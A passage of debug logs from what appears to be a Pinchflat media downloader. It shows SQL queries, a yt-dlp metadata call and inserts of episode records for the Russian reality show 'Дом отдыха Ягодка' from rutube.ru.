s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 11:13:18.988 [debug] QUERY OK source="sources" db=0.4ms idle=45.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 11:13:18.990 [debug] QUERY OK source="media_items" db=1.2ms idle=8.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-14 14:10:26Z], 2] 11:13:20.526 [debug] QUERY OK source="media_items" db=1534.0ms idle=8.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В «Ягодке» состоится неделя моды. Пара, которая не побоится преображения, отправится на свидание в парк аттракционов. Почти всех героев проекта заставит поволноваться новая участница. Вместе с остальными постояльцами дома отдыха она сходит на мастер-класс по латине. А в завершении недели участников ждёт танцевальный вечер. Кто останется без пары, узнаем из программы «Дом отдыха “Ягодка”»!", "Дом отдыха \"Ягодка\", 1 сезон, 3 выпуск", "af0d4eff-9ae5-4b1e-957d-48641b01d088", "25a0d9c5f935ddcac97b2621efd4bfc7", 7010, false, "https://rutube.ru/video/25a0d9c5f935ddcac97b2621efd4bfc7/", 3, "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2023/s2023e111400 - Дом отдыха "Ягодка", 1 сезон, 3 выпуск.mp4", false, false, false, 2, [], 1, ~U[2023-11-14 14:10:26Z], ~U[2025-12-09 08:13:18Z], ~U[2025-12-09 08:13:18Z], "В «Ягодке» состоится неделя моды. Пара, которая не побоится преображения, отправится на свидание в парк аттракционов. Почти всех героев проекта заставит поволноваться новая участница. Вместе с остальными постояльцами дома отдыха она сходит на мастер-класс по латине. А в завершении недели участников ждёт танцевальный вечер. Кто останется без пары, узнаем из программы «Дом отдыха “Ягодка”»!", "Дом отдыха \"Ягодка\", 1 сезон, 3 выпуск", "25a0d9c5f935ddcac97b2621efd4bfc7", 7010, false, "https://rutube.ru/video/25a0d9c5f935ddcac97b2621efd4bfc7/", "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2023/s2023e111400 - Дом отдыха "Ягодка", 1 сезон, 3 выпуск.mp4", false, 2, ~U[2023-11-14 14:10:26Z]] 11:13:20.560 [debug] QUERY OK source="sources" db=32.7ms queue=0.1ms idle=1540.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 11:13:20.562 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=1573.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:13:20.567 [debug] QUERY OK source="media_items" db=2.6ms queue=0.4ms idle=1572.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [179] 11:13:20.568 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Дом отдыха «Ягодка» ждут очередные изменения. Сразу несколько пар задумается, стоит ли им продолжать отношения. Приятным сюрпризом для девушек станет появление нового участника. А дети проследят, чтобы их родители не заскучали. Они устроят для участников проверку бытом, организуют кулинарное испытание и пригласят в гости родственников. Какими будут итоги этой недели, покажет программа «Дом отдыха “Ягодка”».", "duration" => 7246, "filename" => "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2023/s2023e112100 - Дом отдыха "Ягодка", 1 сезон, 4 выпуск.mp4", "id" => "7af0fc16beba82ad0055180deda975c5", "original_url" => "https://rutube.ru/video/7af0fc16beba82ad0055180deda975c5/", "playlist_index" => 4, "timestamp" => 1700575817, "title" => "Дом отдыха \"Ягодка\", 1 сезон, 4 выпуск", "upload_date" => "20231121"} 11:13:20.570 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=684.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 11:13:20.572 [debug] QUERY OK source="sources" db=1.1ms queue=0.2ms idle=45.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 11:13:20.573 [debug] QUERY OK source="media_items" db=1.0ms idle=11.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-21 14:10:17Z], 2] 11:13:21.218 [debug] QUERY OK source="media_items" db=644.0ms idle=11.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Дом отдыха «Ягодка» ждут очередные изменения. Сразу несколько пар задумается, стоит ли им продолжать отношения. Приятным сюрпризом для девушек станет появление нового участника. А дети проследят, чтобы их родители не заскучали. Они устроят для участников проверку бытом, организуют кулинарное испытание и пригласят в гости родственников. Какими будут итоги этой недели, покажет программа «Дом отдыха “Ягодка”».", "Дом отдыха \"Ягодка\", 1 сезон, 4 выпуск", "bed78390-f5a2-4933-ba3d-e746a3817856", "7af0fc16beba82ad0055180deda975c5", 7246, false, "https://rutube.ru/video/7af0fc16beba82ad0055180deda975c5/", 4, "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2023/s2023e112100 - Дом отдыха "Ягодка", 1 сезон, 4 выпуск.mp4", false, false, false, 2, [], 1, ~U[2023-11-21 14:10:17Z], ~U[2025-12-09 08:13:20Z], ~U[2025-12-09 08:13:20Z], "Дом отдыха «Ягодка» ждут очередные изменения. Сразу несколько пар задумается, стоит ли им продолжать отношения. Приятным сюрпризом для девушек станет появление нового участника. А дети проследят, чтобы их родители не заскучали. Они устроят для участников проверку бытом, организуют кулинарное испытание и пригласят в гости родственников. Какими будут итоги этой недели, покажет программа «Дом отдыха “Ягодка”».", "Дом отдыха \"Ягодка\", 1 сезон, 4 выпуск", "7af0fc16beba82ad0055180deda975c5", 7246, false, "https://rutube.ru/video/7af0fc16beba82ad0055180deda975c5/", "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2023/s2023e112100 - Дом отдыха "Ягодка", 1 сезон, 4 выпуск.mp4", false, 2, ~U[2023-11-21 14:10:17Z]] 11:13:21.252 [debug] QUERY OK source="sources" db=30.9ms queue=0.1ms idle=651.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 11:13:21.256 [debug] QUERY OK source="media_profiles" db=0.8ms idle=683.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:13:21.258 [debug] QUERY OK source="media_items" db=0.4ms idle=683.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [180] 11:13:21.258 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "В этом выпуске участники будут вспоминать свои предыдущие отношения. Что они не потерпят в характере и поведении своего возлюбленного человека? Что ожидают от будущих отношений? И пройдут ли герои проекта проверку на доверие и взаимопонимание, покажет «Дом отдыха “Ягодка”».", "duration" => 5559, "filename" => "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2023/s2023e112800 - Дом отдыха "Ягодка", 1 сезон, 5 выпуск.mp4", "id" => "9e10311adb98c70e7ecd171af299b81f", "original_url" => "https://rutube.ru/video/9e10311adb98c70e7ecd171af299b81f/", "playlist_index" => 5, "timestamp" => 1701178814, "title" => "Дом отдыха \"Ягодка\", 1 сезон, 5 выпуск", "upload_date" => "20231128"} 11:13:21.259 [debug] QUERY OK source="sources" db=0.3ms idle=289.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 11:13:21.260 [debug] QUERY OK source="sources" db=0.2ms idle=42.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 11:13:21.261 [debug] QUERY OK source="media_items" db=0.3ms idle=8.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-28 13:40:14Z], 2] 11:13:21.892 [debug] QUERY OK source="media_items" db=630.7ms idle=5.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В этом выпуске участники будут вспоминать свои предыдущие отношения. Что они не потерпят в характере и поведении своего возлюбленного человека? Что ожидают от будущих отношений? И пройдут ли герои проекта проверку на доверие и взаимопонимание, покажет «Дом отдыха “Ягодка”».", "Дом отдыха \"Ягодка\", 1 сезон, 5 выпуск", "2cc71100-9fee-45fe-9728-f5a1387ea3f0", "9e10311adb98c70e7ecd171af299b81f", 5559, false, "https://rutube.ru/video/9e10311adb98c70e7ecd171af299b81f/", 5, "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2023/s2023e112800 - Дом отдыха "Ягодка", 1 сезон, 5 выпуск.mp4", false, false, false, 2, [], 1, ~U[2023-11-28 13:40:14Z], ~U[2025-12-09 08:13:21Z], ~U[2025-12-09 08:13:21Z], "В этом выпуске участники будут вспоминать свои предыдущие отношения. Что они не потерпят в характере и поведении своего возлюбленного человека? Что ожидают от будущих отношений? И пройдут ли герои проекта проверку на доверие и взаимопонимание, покажет «Дом отдыха “Ягодка”».", "Дом отдыха \"Ягодка\", 1 сезон, 5 выпуск", "9e10311adb98c70e7ecd171af299b81f", 5559, false, "https://rutube.ru/video/9e10311adb98c70e7ecd171af299b81f/", "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2023/s2023e112800 - Дом отдыха "Ягодка", 1 сезон, 5 выпуск.mp4", false, 2, ~U[2023-11-28 13:40:14Z]] 11:13:21.944 [debug] QUERY OK source="sources" db=51.3ms idle=635.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 11:13:21.949 [debug] QUERY OK source="media_profiles" db=3.0ms queue=0.1ms idle=686.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:13:21.953 [debug] QUERY OK source="media_items" db=2.9ms queue=0.4ms idle=689.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [181] 11:13:21.954 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Кому из постояльцев дома отдыха «Ягодка» удалось влюбиться? Кто из участников готов продолжить свои отношения за пределами проекта? Какие сюрпризы ждут финалистов? И кто победит, узнаем из программы «Дом отдыха “Ягодка”».", "duration" => 5123, "filename" => "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2023/s2023e120500 - Дом отдыха "Ягодка", 1 сезон, 6 выпуск.mp4", "id" => "5f23a7959f60edec83af6bdde1940616", "original_url" => "https://rutube.ru/video/5f23a7959f60edec83af6bdde1940616/", "playlist_index" => 6, "timestamp" => 1701783614, "title" => "Дом отдыха \"Ягодка\", 1 сезон, 6 выпуск", "upload_date" => "20231205"} 11:13:21.956 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=693.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 11:13:21.958 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=64.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 11:13:21.960 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=14.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-12-05 13:40:14Z], 2] 11:13:22.307 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://rutube.ru/metainfo/tv/334206/ --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/rutubeShows/Дом отдыха Ягодка/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/de/ca/deca0b8b465b04d4afd6ee08a55c2d89f2a7fbc0c77cab1c844b6259079785f1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 11:13:22.320 [debug] QUERY OK source="sources" db=0.4ms idle=362.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 11:13:22.322 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=363.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 11:13:22.324 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=363.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-31 14:10:04Z], 2] 11:13:22.751 [debug] QUERY OK source="media_items" db=789.8ms queue=0.1ms idle=12.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Кому из постояльцев дома отдыха «Ягодка» удалось влюбиться? Кто из участников готов продолжить свои отношения за пределами проекта? Какие сюрпризы ждут финалистов? И кто победит, узнаем из программы «Дом отдыха “Ягодка”».", "Дом отдыха \"Ягодка\", 1 сезон, 6 выпуск", "cc177530-3576-4d90-88cc-67a07fc37143", "5f23a7959f60edec83af6bdde1940616", 5123, false, "https://rutube.ru/video/5f23a7959f60edec83af6bdde1940616/", 6, "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2023/s2023e120500 - Дом отдыха "Ягодка", 1 сезон, 6 выпуск.mp4", false, false, false, 2, [], 1, ~U[2023-12-05 13:40:14Z], ~U[2025-12-09 08:13:21Z], ~U[2025-12-09 08:13:21Z], "Кому из постояльцев дома отдыха «Ягодка» удалось влюбиться? Кто из участников готов продолжить свои отношения за пределами проекта? Какие сюрпризы ждут финалистов? И кто победит, узнаем из программы «Дом отдыха “Ягодка”».", "Дом отдыха \"Ягодка\", 1 сезон, 6 выпуск", "5f23a7959f60edec83af6bdde1940616", 5123, false, "https://rutube.ru/video/5f23a7959f60edec83af6bdde1940616/", "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2023/s2023e120500 - Дом отдыха "Ягодка", 1 сезон, 6 выпуск.mp4", false, 2, ~U[2023-12-05 13:40:14Z]] 11:13:22.791 [debug] QUERY OK source="sources" db=37.3ms idle=431.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 11:13:22.823 [debug] QUERY OK source="media_profiles" db=25.6ms queue=0.1ms idle=473.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:13:22.910 [debug] QUERY OK source="media_items" db=86.2ms idle=74.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN 